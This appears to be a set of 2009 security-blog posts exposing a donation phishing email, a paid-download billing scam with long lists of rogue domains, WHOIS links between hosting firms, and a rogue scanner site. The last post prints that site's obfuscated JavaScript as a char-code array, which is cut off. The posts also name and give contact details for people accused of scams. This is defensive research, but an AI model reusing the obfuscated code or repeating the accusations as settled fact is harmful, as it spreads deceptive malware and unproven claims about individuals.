Blog for hpHosts, and whatever else I feel like writing about ....

Wednesday, 18 November 2009

Interesting phishing scam: Marius wants your help

I've received two of these so far, both pointing to two different domains of course, and find them rather intruiging given it's the first time I've seen this method used.

The e-mails start off pretty typical of the 419'ers, but then proceed with a link to ask for a donation - and so far, there's no additional infection involved that I can see;

E-mail 1:

Hello,

My name is Marius and I am a student at Technical University of Civil Engineering Bucharest. It is very difficult for me here because of the big amount of money needed to pay my rent. All I am requesting for you is to take 3 minutes of your time and help me with a small amount of money if it is possible and I can design a website for you if you request this.

To access my website and donate me 1 USD via PayPal click on the following link:


Access my website <http://www.cosmote.md/helpme>

Thank you,
Your help will be very much appreciated,

Marius


E-mail 2:

Dear friend,

My name is Marius and I am a student at Technical University of Civil Engineering at Bucharest. It is very difficult for me here because of the big amount of money needed to pay my rent. All I am requesting for you is to take 3 minutes of your time and help me with a small amount of money if it is possible and, in exchange for your help I can design a website for you if you request this.

To access my website and donate me 1 USD via PayPal click on the following link:


Click here to access my website <http://www.softhaven.com/helpme>
Thank you!
Your support will be very much appreciated,
Marius


Obviously the "Click here to access my website" would normally be the link, but given I only allow plain text, it's never linkified automagically ;o)

Getting back to the sites themselves, cosmote.md is actually owned by Marius Apostol according to WhoIs records, but softhaven.com looks like a hacked website (given it's hosted by BlueHost, this isn't surprising).

The actual content is as shown in the following screenshots;

cosmote.md and cosmote.md/helpme


softhaven.com/helpme


In both cases, the source code shows the payment goes to Marius Apostol at ebagabontu@yahoo.com. Whether or not this is a compromised account or his own, is at this point, unknown.

WhoIs records for cosmote.md are annoyingly, vague as far as registrant information, but do of course, give us the owners name (or at least, the name they gave to the registrar);

Checking server [whois.nic.md]
Results:
Domain name: cosmote.md
Registrant: Marius Apostol
Created: 2008-01-10
Expiration date: 2010-01-10
Name server: ns1.sqweebs.com 174.36.230.4
Name server: ns2.sqweebs.com 174.36.230.6
DNS update: 2009-09-28 18:37


I double checked the WhoIs using various different sources, to try and get more information, but alas, nic.md is returning only the above it seems.

It's currently hosted at SoftLayer;

IP: 174.36.230.6
IP PTR: 174.36.230.6-static.reverse.softlayer.com
ASN: 36351 174.36.192.0/18 SOFTLAYER - SoftLayer Technologies Inc

Needless to say, if you receive one of these, DELETE IT!

If ya want my money, 'an' ya think I'm gullible, c'mon Saphie scam me now!

Okay, so I completely ruined what used to be a great Rod Stewart song - but it's been worth it. I was alerted by my friend Dee Hughes over at Freeware Home, of a rogue domain one of her visitors came across during a Google search for Outlook Express that led via the Sponsored results (surprise surprise) to expressdownloadz.com (see left).

She asked if I could dig up anything on this domain as she'd not found any contact information or anything that would help her take it down. Naturally I offered to help (I do love exposing these scheming wan**rs). Off I trotted to expressdownloadz.com, and low and behold, instantly identified the type of scam, and thus, how to track it.

expressdownloadz.com is identical to thousands of other itty bitty phishy sites out there, and it's stats are as follows;

IP: 72.10.171.202
IP PTR: Resolution failed
ASN: 36666 72.10.168.0/22 GTCOMM - GloboTech Communications
Created: October 19th 2009

It's WhoIs record is hidden, but I doubt it's actually accurate either way (impossible to tell obviously, as Domains By Proxy aren't exactly going to hand over the information without a court order).

There are a plethora of other malicious domains within this /24, and given how long some of them have been there, I'm guessing GloboTech couldn't give a hoot aslong as they keep paying their bills;

0-antivirus.org
11-download.com
2009-download.org
6-download.com
9-digital-media.net
9-downioad.com
9-download.org
9-reloaded.com
antivirusbox-online.net
antivirusguardian.com
anti-virus-guardian.com
antivirus-pro.info
anti-virus-tech.com
antivirus-zone.net
avg-antivirus.biz
bytes-d0wnload.com
cast-download.com
castdownload.org
d0wnloadz.org
digital-media-pro.net
divx-top.net
dj-download.org
download-openoffice.org
dvdshrinkonline.com
earth-d0wnload.com
express6-download.com
expressd0wnload.com
express-d0wnload.com
express-d0wnloadz.com
express-download.org
expressdownloadz.com
free-antivirus-software.org
free-download-place.org
free-zonealarm.com
gtdominicana.com
guide-assurance.com
java-download.info
java-free.org
liens-emule.com
mail.gtdominicana.com
mail-download.info
mail-downloads.com
mail-program.com
mail-software.info
messenger2009.org
messenger-9.org
messenger9-d0wnload.com
movie-maker-pro.com
openofficedownload.org
openofficefree.org
open-office-software.org
place4friends.com
quick-downloads.org
registrycleaners-top-pick.com
secure-antivirus.net
software500.com
virtualdj-download.com
vista-ready.com
www.0-antivirus.org
www.11-download.com
www.2009-download.org
www.6-download.com
www.9-digital-media.net
www.9-downioad.com
www.9-download.org
www.9-reloaded.com
www.antivirusbox-online.net
www.antivirus-d0wnload.com
www.antivirusguardian.com
www.anti-virus-guardian.com
www.antivirus-pro.info
www.anti-virus-tech.com
www.antivirus-zone.net
www.avg-antivirus.biz
www.bytes-d0wnload.com
www.cast-download.com
www.castdownload.org
www.d0wnloadz.org
www.digital-media-pro.net
www.divx-top.net
www.dj-download.org
www.download-openoffice.org
www.dvdshrinkonline.com
www.earth-d0wnload.com
www.express6-download.com
www.expressd0wnload.com
www.express-d0wnload.com
www.express-d0wnloadz.com
www.express-download.org
www.expressdownloadz.com
www.free-antivirus-software.org
www.free-download-place.org
www.free-zonealarm.com
www.gtdominicana.com
www.guide-assurance.com
www.java-download.info
www.java-free.org
www.liens-emule.com
www.mail-download.info
www.mail-downloads.com
www.mail-program.com
www.mail-software.info
www.messenger2009.org
www.messenger-9.org
www.messenger9-d0wnload.com
www.movie-maker-pro.com
www.openofficedownload.org
www.openofficefree.org
www.open-office-software.org
www.place4friends.com
www.quick-downloads.org
www.registrycleaners-top-pick.com
www.secure-antivirus.net
www.software500.com
www.virtualdj-download.com
www.vista-ready.com


If you're unlucky enough to believe what expressdownloadz.com are "offering", then you're taken from there, to;

freedownloadzone.com/join.php?s=Outlook Express&kw=outlook express&t=outlook-express_w2&si=index.php&ml=12&d=Expressdownloadz.Com&dn=Expressdownloadz.Com&TargetSite=FDZ&lp=default

freedownloadzone.com is the site that asks you to create an "account", and asks for your payment information, entering this of course is a majorly bad idea, but lets carry on regardless.




Notice where you are yet? That's right folks .... you're now at;

https://secure.cardtransaction.com/icc-rs/order2.asp?ref=Expressdownloadz.Com&d=Expressdownloadz.Com&id=&t=outlook-express_w2

secure.cardtransaction.com has a DCV certificate from RapidSSL. Both this domain, and freedownloadzone.com are located on the same IP block, 70.33.253.0/24, which is owned by Peer1. Not surprisingly, this also houses a plethora of other similar domains, including;

2009-anti-virus-download.com
2009-antivirus-download.com
2009-edition.org
2009-version.info
5-anti-virus.info
5-antivirus-download.com
8-anti-virus-download.com
antivirus-1.info
anti-virus-1.org
antivirus-center.org
anti-virus-removal.info
anti-virus-solution.org
burning-programs.com
dealsmint.com
download-all-free.com
downloaditfree.net
flash-player-10.org
free-antivirus2009.com
free-anti-virus-software.com
full-edition.info
get-flash-player-10.com
get-muzic.com
itunes-8.com
itunes-muzic.com
mp3sharinghq.net
musicmembersarea.com
muzic-share.com
open-office-2009.com
open-office-download.org
open-office-pro.com
open-office-software.com
org-eng.info
pdf-platinum.info
personal-antivirus.org
popupremoval.com
share-free.info
vlc-software.com
wire2009.com
www.2009-anti-virus-download.com
www.2009-antivirus-download.com
www.2009-edition.org
www.2009-version.info
www.5-anti-virus.info
www.5-antivirus-download.com
www.8-anti-virus-download.com
www.antivirus-1.info
www.anti-virus-1.org
www.antivirus-center.org
www.anti-virus-removal.info
www.anti-virus-solution.org
www.burning-programs.com
www.dealsmint.com
www.download-all-free.com
www.downloaditfree.net
www.flash-player-10.org
www.free-antivirus2009.com
www.free-anti-virus-software.com
www.full-edition.info
www.get-flash-player-10.com
www.get-muzic.com
www.itunes-8.com
www.itunes-muzic.com
www.mp3sharinghq.net
www.musicmembersarea.com
www.muzic-share.com
www.open-office-2009.com
www.open-office-download.org
www.open-office-pro.com
www.open-office-software.com
www.org-eng.info
www.pdf-platinum.info
www.personal-antivirus.org
www.share-free.info
www.vlc-software.com
www.wire2009.com


Getting on. The addresses you'll notice at the bottom of these sites, is;

Saphie Number1
Third Floor, Conway House
7-9 Conway Street
St Helier
Jersey, JE2 3NT

What you'll not know, is that this address is NOT the actual address for Saphie Number1. It's a "drop box" of sorts. It works by having someone in Jersey, allow companies to have mail sent to their address (saving their having to pay UK tax from what I've been told). These people are then paid by the companies, a percentage, to forward the mail to the company, once it arrives.

However, there's another address involved. The "company" that appears on your bill when you've handed over your payment information, is helpmedownload.com. Popping over there, the address they provide as their "Correspondence address" is;

Saphie Number One Limited
26 York Street
London W1U 6PZ, UK

This is the same address as is provided in the cardtransaction.com WhoIs records, but nope - it's not their real address either. This address belongs to, how did he put it, a "call answering service", run by a company called "Sage Systems" (26 York Street is Sage Systems HQ). Interestingly, I couldn't find anything on Sage Systems at that address, but did find a Virtual Office company called W1Office at that address.

Virtual Office
Communications House
26 York Street
London
W1U 6PZ
Sales: 020 7788 7788
Service: 020 7788 7878

Head Office
43-45 Portman Square
London
W1H 6HN
Sales: 0845 000 7788
Service: 0845 000 7878

W1 Office
Company Name: W1 Office Limited
Company Number: 05303127
Vat Number: 853 55 00 32
Data Protection: Z895601X
Royal Mail: PB003216
City of Westminster: 044

Registered Address
26 York Street
London
W1U 6PZ


I called them up to ask about Sage Systems and was told;

"it may be one of our clients"

I told W1Office what was going on, and they're apparently going to look into it. They also provided me with the number of the person that created the account with them but unfortunately, it turned out to be a fax number, not a telephone number (0207 068 5500).

Helpmedownload.com have their own "main" website too (Saphie Number1 = Helpmedownload.com), which provides the following contact information;

USA

Billing & Tech Support:

1-866-730-0934
1-888-527-9381

UK

Billing & Tech Support:

0808 238 0026
0808 238 0045

Canada

Billing & Tech Support:

1-866-730-0934

Australia

Billing & Tech Support:

1-800-469-290
1-800-146-928
1-800-357-380

All other

Billing & Tech Support:

1-866-978-4842


I've now been on the phone with one of their reps for around 30 mins or so, and they're still trying to tell me the process is simple, easy to understand, clear as far as what they're charging for, and they're thus, not scamming people. Couldn't explain however, why for example, the "3 step process", tries to charge for support and such TWICE.

Alas, she's not been through the process herself apparently as she "doesn't need help downloading software", so as I pointed out - she can't tell me about something she's not been through herself - which is why I'm on hold now. She's now going through the process herself apparently (personally I think she's gone for a smoke/drink/toilet break, but it's an 0808 number, so their bill, so I don't care).

.... sorry folks, was on the phone.

Okie, so here's where we are. The person I spoke to on the phone passed me to her supervisor who advised me;

1. He is not authorized to tell me WHO is in charge in his company
2. He CAN NOT pass me to a manager so we can get this cleared up
3. His manager monitors the support@helpmedownload.com inbox, but REFUSED to tell me HOW I am supposed to know it is a manager responding via e-mail, given he couldn't provide me with so much as his managers name
4. His name is "Murphy" (he has no surname apparently), and the location of the place he is currently at (woops, he let that slip!), is in the Philippines (he would not tell me if that was the main helpmedownload.com address, if not, what address it was, or indeed, provide ANY address related to the company!!!!!)
5. Their e-mail address is support@helpmedownload.com and that is the ONLY way in which we can get answers (yes, of course it is Murphy!!!).

... and that's just the parts of the phone call I can remember (sorry folks, was getting very frustrated). In the end, he simply said he would not answer any more of my questions as he was not authorized to speak to me (err, that part is confusing).

After being on the phone with them for over an hour, I ended up getting far too frustrated to continue, given they refused to answer any of my questions, and refused to put me on to anyone that could answer any of my questions, and refused to tell me so much as the name of the person within the company (i.e. a manager, director etc), that was authorized to speak to me on the subject of such.

I urge you to call one of the numbers above (they're toll free/freephone, so won't cost you anything, but you'll get to have so much fun (sic)). Try getting a straight answer from them, try getting to speak to someone in charge of this scam err, company.

If you've been scammed by any of the domains listed above, first things first, contact your credit card company and ask them for a charge back!!!. Next, inform the UK Watchdog (if UK based), or your countries equivalent.

I'd also urge you to contact W1Office with your complaints. Hopefully, the more people that do, the sooner W1Office will boot the company.

It should be noted, the above are by no means the only domains involved in this scam, or other scams similar to this one. There are thousands of them out there, so be careful folks! (and if you find one that's not listed in hpHosts already, feel free to drop me a note!).

In the meantime, if I've forgotten to mention anything (been one of those err, couple hours or so, hehe), do let me know.

Tuesday, 17 November 2009

Spambot Search Tool: v0.41

Sorry folks, in fixing the last bug I introduced another.

* Fixed another bug in view_spammers.php and view_spammers_mail.php

Ref: http://temerc.com/forums/viewtopic.php?f=71&t=7606

Download:
http://support.it-mate.co.uk/?mode=Products&act=DL&p=spambotsearchtool

Spambot Search Tool: v0.40

v0.40 of the SBST (Spambot Search Tool) has now been released.

* Fixed bug in view_spammers.php and view_spammers_mail.php

Ref: http://temerc.com/forums/viewtopic.php?f=71&t=7606

Download:
http://support.it-mate.co.uk/?mode=Products&act=DL&p=spambotsearchtool

Sunday, 15 November 2009

Real International Business Corp = NatCoWeb (AS46636)

Looking up records for AS46636, I noticed something interesting. The Netblock WhoIs showed a reference to "uaonline", but the AS was saying it belonged to NatCoWeb, clearly something was amiss here, as I remember this as being Real International Business Corp just a few months ago.

I decided to look further, and got clarification that Real International Business Corp, are indeed NatCoWeb, thanks to WhoIs records for both natcoweb.com (204.62.12.11) and gosecure.eu (204.62.15.9) (owned by RIBC).

Domain Name: gosecure.eu
Status: REGISTERED (What this means)
Registered: July 30, 2006
Last update: September 23, 2009, 8:33 am

Registrant

Name: Sabyetyev Sergiy
Organisation: Navilive Private Limited
Language: English
Address:

Suite 8525, 16-18 Circus Road, St. Johns Wood
NW8 6PG, London
United Kingdom

Phone: +44 (0)8704867384
Fax: +44 (0)8704867385
Email: manager@hqhost.net

Registrar technical contacts

Name: Domain Manager
Organisation: PublicDomainRegistry.com
Language: English
Address:

14525 SW Millikan #48732
97005-2343
Oregon
United States

Phone: +1.2013775952
Fax: +1.3202105146
Email: domain.manager@publicdomainregistry.com

Registrar Organisation: Directi Internet Solutions Pvt. Ltd. d/b/a PublicDomainRegistry.com
Website: www.publicdomainregistry.com

Nameservers:

ns20.natcoweb.com
ns10.natcoweb.com


Registrant:
Natcoweb Corp.
5851 West Side Ave
North Bergen, NJ 07047
US
6462333035
Fax:2125916245

Domain Name: NATCOWEB.COM

Administrative Contact:
Sabyetyev, Sergiy ceo@natcoweb.com
5851 West Side Ave
North Bergen, NJ 07047
US
6462333035
Fax:2125916245

Technical Contact:
Sabyetyev, Sergiy ceo@natcoweb.com
5851 West Side Ave
North Bergen, NJ 07047
US
6462333035
Fax:2125916245

Record last updated 08-14-2009 06:29:50 AM
Record expires on 01-13-2016
Record created on 01-13-2007

Domain servers in listed order:
NS10.NATCOWEB.COM 204.62.12.14
NS20.NATCOWEB.COM 204.62.13.6


"Navilive Private Limited", incase you're wondering, have already previously been implicated in a number of malicious activities, including Asprox for example;

http://www.matchent.com/wpress/?q=node/392

And appear to be related, or have ties to, Bigness Group Limited;

http://www.bobbear.co.uk/pfg-inc.html

And just for further clarification, you'll no doubt have noticed that NatCoWeb are down as owning 88.214.241.0/24, and no doubt have noticed the @ipipe.net e-mail address in the net-block records? Well, lets see who owns ipipe.net (hosted at 80.77.95.119) shall we?

Registration Service Provided By: HIGH QUALITY HOST COMPANY
Contact: +1.6462130098

Domain Name: IPIPE.NET

Registrant:
Real International Business Corp
Sabetyev, Sergey (domains@ipipe.net)
244 fifth ave #200
New York
New York,10001-7604
US
Tel. +1.6462130098
Fax. +1.2125916425

Creation Date: 22-Feb-2005
Expiration Date: 22-Feb-2012

Domain servers in listed order:
ns1.ipipe.net
ns2.ipipe.net

Administrative Contact:
Real International Business Corp
Sabetyev, Sergey (domains@ipipe.net)
244 fifth ave #200
New York
New York,10001-7604
US
Tel. +1.6462130098
Fax. +1.2125916425

Technical Contact:
Real International Business Corp
Sabetyev, Sergey (domains@ipipe.net)
244 fifth ave #200
New York
New York,10001-7604
US
Tel. +1.6462130098
Fax. +1.2125916425

Billing Contact:
Real International Business Corp
Sabetyev, Sergey (domains@ipipe.net)
244 fifth ave #200
New York
New York,10001-7604
US
Tel. +1.6462130098
Fax. +1.2125916425

Status:ACTIVE


And who owns 80.77.95.119?

inetnum: 80.77.95.1 - 80.77.95.255
netname: level0-NET-1
descr: level0 is a webhosting organization
country: US
admin-c: MS9776-ripe
tech-c: VK1045-ripe
status: ASSIGNED PA
mnt-by: uaonline
source: RIPE # Filtered

person: Soldatov Maxim
address: Marylebone high street 78
address: W1U 5AP London
phone: +380 50 4985406
e-mail: makc@ipipe.net
org: ORG-RIBC1-RIPE
nic-hdl: MS9776-ripe
mnt-by: uaonline
source: RIPE # Filtered

person: Vladimir Klenov
address: London, United Kingdom
phone: +380 50 4985406
e-mail: maple@ipipe.net
nic-hdl: VK1045-ripe
mnt-by: uaonline
source: RIPE # Filtered


If they were trying to re-brand themselves without anyone noticing, they've certainly done a very poor job of it. Navilive Private Limited = Real International Business Corp = NatCoWeb and (hqhost.net = ipipe.net) = Real International Business Corp.

Crimeware friendly ISP's: Ecatel (AS29073)

Ecatel (AS29073) have been on the radar for quite some time now, and looking at the amount of malicious content on their network, I'm not expecting this to go away any time soon.

What I do find interesting, is the newest domains I've come across on their network, appear to be trying (and very badly I might add) to confuse automated analysis by obfuscating the code of the site you're eventually taken to by for example, the blackhat SEO campaigns. The following for example, is a couple of those I've recently come across:

online-check-v1.com/scan1/?pid=283s1&engine=%3DHQx2DjuODkuMTIzLjU2JnRpbWU9MTI1MzMyMA0OaA%3DO
perfectscan01.com/1/?sess=%3DWG19jDwOC0xJmlwPTgyLjM5LjEyMy41NiZ0aW1lPTEyNTQzMAIMNQkM

online-check-v1.com is located at 93.174.93.188 (AS: 29073 93.174.88.0/21 ECATEL-AS AS29073, Ecatel Network), with perfectscan01.com being located at 89.248.162.149 (AS: 29073 89.248.160.0/21 ECATEL-AS AS29073, Ecatel Network).

If we take a look at the source code for one of these, we see the following bit of lovelyness;

var str=[417,467,523,512,523,515,508,469,474,518,516,519,524,523,508,521,439,490,508,506,524,521,512,523,528,467,454,523,512,523,515,508,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,513,520,524,508,521,528,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,513,520,524,508,521,528,452,512,517,512,523,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,507,521,524,510,517,507,521,518,519,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,469,417,417,525,504,521,439,509,517,516,468,517,508,526,439,472,521,521,504,528,447,448,466,417,509,517,516,498,455,500,439,468,439,446,443,453,512,517,509,446,466,417,509,517,516,498,456,500,439,468,439,446,456,457,460,457,455,459,458,462,453,506,519,527,446,466,417,509,517,516,498,457,500,439,468,439,446,456,457,460,457,455,463,460,455,453,506,519,527,446,466,417,509,517,516,498,458,500,439,468,439,446,461,523,518,459,522,525,506,453,507,515,515,446,466,417,509,517,516,498,459,500,439,468,439,446,453,507,515,515,446,466,417,509,517,516,498,460,500,439,468,439,446,504,504,506,515,512,508,517,523,453,507,515,515,446,466,417,509,517,516,498,461,500,439,468,439,446,472,505,518,524,523,489,508,519,515,512,478,518,453,507,515,515,446,466,417,509,517,516,498,462,500,439,468,439,446,504,506,458,504,506,516,453,504,506,516,446,466,417,509,517,516,498,463,500,439,468,439,446,504,506,506,508,522,522,453,506,519,515,446,466,417,509,517,516,498,464,500,439,468,439,446,504,506,506,523,521,508,522,453,507,515,515,446,466,417,509,517,516,498,456,455,500,439,468,439,446,504,506,506,526,512,529,453,508,527,508,446,466,417,509,517,516,498,456,456,500,439,468,439,446,504,506,508,515,519,507,508,506,453,504,527,446,466,417,509,517,516,498,456,457,500,439,468,439,446,504,506,515,508,507,512,523,453,507,515,515,446,466,417,509,517,516,498,456,458,500,439,468,439,446,504,506,515,524,512,453,507,515,515,446,466,417,509,517,516,498,456,459,500,439,468,439,446,504,506,523,512,525,508,507,522,453,507,515,515,446,466,417,509,517,516,498,456,460,500,439,468,439,446,504,506,523,512,525,508,507,522,453,523,515,505,446,466,417,509,517,516,498,456,461,500,439,468,439,446,504,506,523,516,518,525,512,508,453,508,527,508,446,466,417,509,517,516,498,456,462,500,439,468,439,446,504,506,523,527,519,521,527,528,453,507,515,515,446,466,417,509,517,516,498,456,463,500,439,468,439,446,472,475,484,476,453,475,483,483,446,466,417,509,517,516,498,456,464,500,439,468,439,446,504,507,516,519,504,521,522,508,453,507,515,515,446,466,417,509,517,516,498,457,455,500,439,468,439,446,504,507,516,526,519,521,518,527,453,507,515,515,446,466,417,509,517,516,498,457,456,500,439,468,439,446,504,507,516,527,519,521,518,527,453,507,515,515,446,466,417,509,517,516,498,457,457,500,439,468,439,446,504,507,519,523,512,509,453,507,515,515,446,466,417,509,517,516,498,457,458,500,439,468,439,446,504,507,522,512,512,522,453,507,515,515,446,466,417,509,517,516,498,457,459,500,439,468,439,446,504,507,522,515,507,519,453,507,515,515,446,466,417,509,517,516,498,457,460,500,439,468,439,446,504,507,522,515,507,519,506,453,507,515,515,446,466,417,509,517,516,498,457,461,500,439,468,439,446,504,507,522,516,522,508,527,523,453,507,515,515,446,466,417,509,517,516,498,457,462,500,439,468,439,446,504,507,522,517,507,522,453,507,515,515,446,466,417,509,517,516,498,457,463,500,439,468,439,446,504,507,522,517,523,453,507,515,515,446,466,417,509,517,516,498,457,464,500,439,468,439,446,504,507,522,517,526,453,507,515,515,446,466,417,509,517,516,498,458,455,500,439,468,439,446,504,507,525,504,519,512,458,457,453,507,515,515,446,466,417,509,517,516,498,458,456,500,439,468,439,446,504,507,525,519,504,506,514,453,507,515,515,446,466,417,509,517,516,498,458,457,500,439,468,439,446,504,510,504,522,453,507,515,515,446,466,417,509,517,516,498,458,458,500,439,468,439,446,504,511,524,512,453,508,527,508,446,466,417,509,517,516,498,458,459,500,439,468,439,446,504,515,510,453,508,527,508,446,466,417,509,517,516,498,458,460,500,439,468,439,446,504,515,521,522,525,506,453,507,515,515,446,466,417,509,517,516,498,458,461,500,439,468,439,446,504,516,506,518,516,519,504,523,453,523,515,505,446,466,417,509,517,516,498,458,462,500,439,468,439,446,504,516,522,523,521,508,504,516,453,507,515,515,446,466,417,509,517,516,498,458,463,500,439,468,439,446,504,517,522,512,453,522,528,522,446,466,417,509,517,516,498,458,464,500,439,468,439,446,504,519,506,524,519,522,453,507,515,515,446,466,417,509,517,516,498,459,455,500,439,468,439,446,504,519,519,508,517,507,453,508,527,508,446,466,417,509,517,516,498,459,456,500,439,468,439,446,504,519,519,511,508,515,519,453,507,515,515,446,466,417,509,517,516,498,459,457,500,439,468,439,446,504,519,519,516,510,516,523,522,453,507,515,515,446,466,417,509,517,516,498,459,458,500,439,468,439,446,504,519,519,516,510,521,453,507,515,515,446,466,417,509,517,516,498,459,459,500,439,468,439,446,504,519,519,526,512,529,453,506,519,515,446,466,417,509,517,516,498,459,460,500,439,468,439,446,472,521,516,472,506,506,508,522,522,453,507,515,515,446,466,417,509,517,516,498,459,461,500,439,468,439,446,504,521,519,453,508,527,508,446,466,417,509,517,516,498,459,462,500,439,468,439,446,504,522,506,523,521,515,522,453,518,506,527,446,466,417,509,517,516,498,459,463,500,439,468,439,446,504,522,509,508,521,521,518,521,453,507,515,515,446,466,417,509,517,516,498,459,464,500,439,468,439,446,504,522,509,522,512,519,506,453,507,515,515,446,466,417,509,517,516,498,460,455,500,439,468,439,446,504,522,521,502,509,516,523,453,508,527,508,446,466,417,509,517,516,498,460,456,500,439,468,439,446,504,522,521,502,515,507,516,453,508,527,508,446,466,417,509,517,516,498,460,457,500,439,468,439,446,504,522,521,502,519,509,524,453,508,527,508,446,466,417,509,517,516,498,460,458,500,439,468,439,446,504,522,528,506,509,512,515,523,453,507,515,515,446,466,417,509,517,516,498,460,459,500,439,468,439,446,504,523,453,508,527,508,446,466,417,509,517,516,498,460,460,500,439,468,439,446,472,523,504,515,504,480,516,510,457,453,507,515,515,446,466,417,509,517,516,498,460,461,500,439,468,439,446,472,523,504,515,504,480,490,453,507,515,515,446,466,417,509,517,516,498,460,462,500,439,468,439,446,472,523,504,515,474,523,521,515,453,518,506,527,446,466,417,509,517,516,498,460,463,500,439,468,439,446,504,523,511,519,521,527,528,453,507,515,515,446,466,417,509,517,516,498,460,464,500,439,468,439,446,504,523,512,457,506,520,504,510,453,507,515,515,446,466,417,509,517,516,498,461,455,500,439,468,439,446,504,523,512,457,507,525,504,510,453,507,515,515,446,466,417,509,517,516,498,461,456,500,439,468,439,446,504,523,512,457,508,507,527,527,453,507,515,515,446,466,417,509,517,516,498,461,457,500,439,468,439,446,504,523,512,457,508,525,527,527,453,507,515,515,446,466,417,509,517,516,498,461,458,500,439,468,439,446,504,523,512,457,508,525,527,527,453,508,527,508,446,466,417,509,517,516,498,461,459,500,439,468,439,446,472,523,512,457,516,507,527,527,453,508,527,508,446,466,417,509,517,516,498,461,460,500,439,468,439,446,504,523,512,457,522,510,504,510,453,508,527,508,446,466,417,509,517,516,498,461,461,500,439,468,439,446,504,523,512,458,507,524,504,510,453,507,515,515,446,466,417,509,517,516,498,461,462,500,439,468,439,446,472,491,480,475,475,474,453,475,483,483,446,466,417,509,517,516,498,461,463,500,439,468,439,446,472,491,480,475,476,484,478,489,453,507,515,515,446,466,417,509,517,516,498,461,464,500,439,468,439,446,472,491,480,475,476,484,478,495,453,507,515,515,446,466,417,509,517,516,498,462,455,500,439,468,439,446,504,523,512,509,510,515,519,509,453,527,516,515,446,466,417,509,517,516,498,462,456,500,439,468,439,446,504,523,512,512,506,507,527,527,453,507,504,523,446,466,417,509,517,516,498,462,457,500,439,468,439,446,504,523,512,512,512,508,527,527,453,507,515,515,446,466,417,509,517,516,498,462,458,500,439,468,439,446,504,523,512,514,525,516,504,510,453,507,515,515,446,466,417,509,517,516,498,462,459,500,439,468,439,446,504,523,512,518,510,515,527,456,453,507,515,515,446,466,417,509,517,516,498,462,460,500,439,468,439,446,504,523,512,518,510,515,527,457,453,507,515,515,446,466,417,509,517,516,498,462,461,500,439,468,439,446,504,523,512,518,510,515,527,527,453,507,515,515,446,466,417,509,517,516,498,462,462,500,439,468,439,446,504,523,512,518,514,458,527,457,453,507,515,515,446,466,417,509,517,516,498,462,463,500,439,468,439,446,504,523,512,519,507,515,527,527,453,507,515,515,446,466,417,509,517,516,498,462,464,500,439,468,439,446,504,523,512,523,525,518,458,457,453,507,515,515,446,466,417,509,517,516,498,463,455,500,439,468,439,446,504,523,512,525,506,518,527,527,453,507,515,515,446,466,417,509,517,516,498,463,456,500,439,468,439,446,504,523,512,525,525,504,460,527,453,507,504,523,446,466,417,509,517,516,498,463,457,500,439,468,439,446,504,523,512,525,525,504,461,527,453,507,504,523,446,466,417,509,517,516,498,463,458,500,439,468,439,446,504,523,512,525,525,504,527,527,453,507,504,523,446,466,417,509,517,516,498,463,459,500,439,468,439,446,504,523,512,525,525,504,527,527,453,507,515,515,446,466,417,509,517,516,498,463,460,500,439,468,439,446,504,523,514,506,523,521,522,453,507,515,515,446,466,417,509,517,516,498,463,461,500,439,468,439,446,504,523,515,453,507,515,515,446,466,417,509,517,516,498,463,462,500,439,468,439,446,504,523,515,462,456,453,507,515,515,446,466,417,509,517,516,498,463,463,500,439,468,439,446,472,523,515,474,518,515,518,521,453,518,506,527,446,466,417,509,517,516,498,463,464,500,439,468,439,446,504,523,516,504,507,516,453,508,527,508,446,466,417,509,517,516,498,464,455,500,439,468,439,446,504,523,516,509,507,453,507,515,515,446,466,417,509,517,516,498,464,456,500,439,468,439,446,504,523,516,515,512,505,453,507,515,515,446,466,417,509,517,516,498,464,457,500,439,468,439,446,504,523,516,519,525,506,517,518,453,507,515,515,446,466,417,509,517,516,498,464,458,500,439,468,439,446,504,523,521,504,506,508,453,507,515,515,446,466,417,509,517,516,498,464,459,500,439,468,439,446,504,523,523,521,512,505,453,508,527,508,446,466,417,509,517,516,498,464,460,500,439,468,439,446,472,524,507,512,518,507,508,525,453,507,515,515,446,466,417,509,517,516,498,464,461,500,439,468,439,446,504,524,507,512,518,522,521,525,453,507,515,515,446,466,417,509,517,516,498,464,462,500,439,468,439,446,504,524,507,512,523,524,522,521,453,508,527,508,446,466,417,509,517,516,498,464,463,500,439,468,439,446,504,524,523,511,529,453,507,515,515,446,466,417,509,517,516,498,464,464,500,439,468,439,446,504,524,523,518,506,511,514,453,508,527,508,446,466,417,509,517,516,498,456,455,455,500,439,468,439,446,504,524,523,518,506,518,517,525,453,508,527,508,446,466,417,509,517,516,498,456,455,456,500,439,468,439,446,504,524,523,518,507,512,522,506,453,507,515,515,446,466,417,509,517,516,498,456,455,457,500,439,468,439,446,472,492,491,486,476,495,476,474,453,485,491,446,466,417,509,517,516,498,456,455,458,500,439,468,439,446,504,524,523,518,509,516,523,453,508,527,508,446,466,417,509,517,516,498,456,455,459,500,439,468,439,446,504,524,523,518,515,509,517,453,508,527,508,446,466,417,509,517,516,498,456,455,460,500,439,468,439,446,504,525,512,506,504,519,453,507,515,515,446,466,417,509,517,516,498,456,455,461,500,439,468,439,446,504,525,512,506,504,519,458,457,453,507,515,515,446,466,417,509,517,516,498,456,455,462,500,439,468,439,446,504,525,512,509,512,515,458,457,453,507,515,515,446,466,417,509,517,516,498,456,455,463,500,439,468,439,446,504,525,512,509,512,515,508,453,507,515,515,446,466,417,509,517,516,498,456,455,464,500,439,468,439,446,504,525,516,508,523,508,521,453,507,515,515,446,466,417,509,517,516,498,456,456,455,500,439,468,439,446,504,525,523,504,519,512,453,507,515,515,446,466,417,509,517,516,498,456,456,456,500,439,468,439,446,504,525,526,504,525,453,507,515,515,446,466,417,509,517,516,498,456,456,457,500,439,468,439,446,505,504,522,508,522,521,525,453,507,515,515,446,466,417,509,517,516,498,456,456,458,500,439,468,439,446,505,504,522,522,453,507,515,515,446,466,417,509,517,516,498,456,456,459,500,439,468,439,446,473,472,490,490,484,486,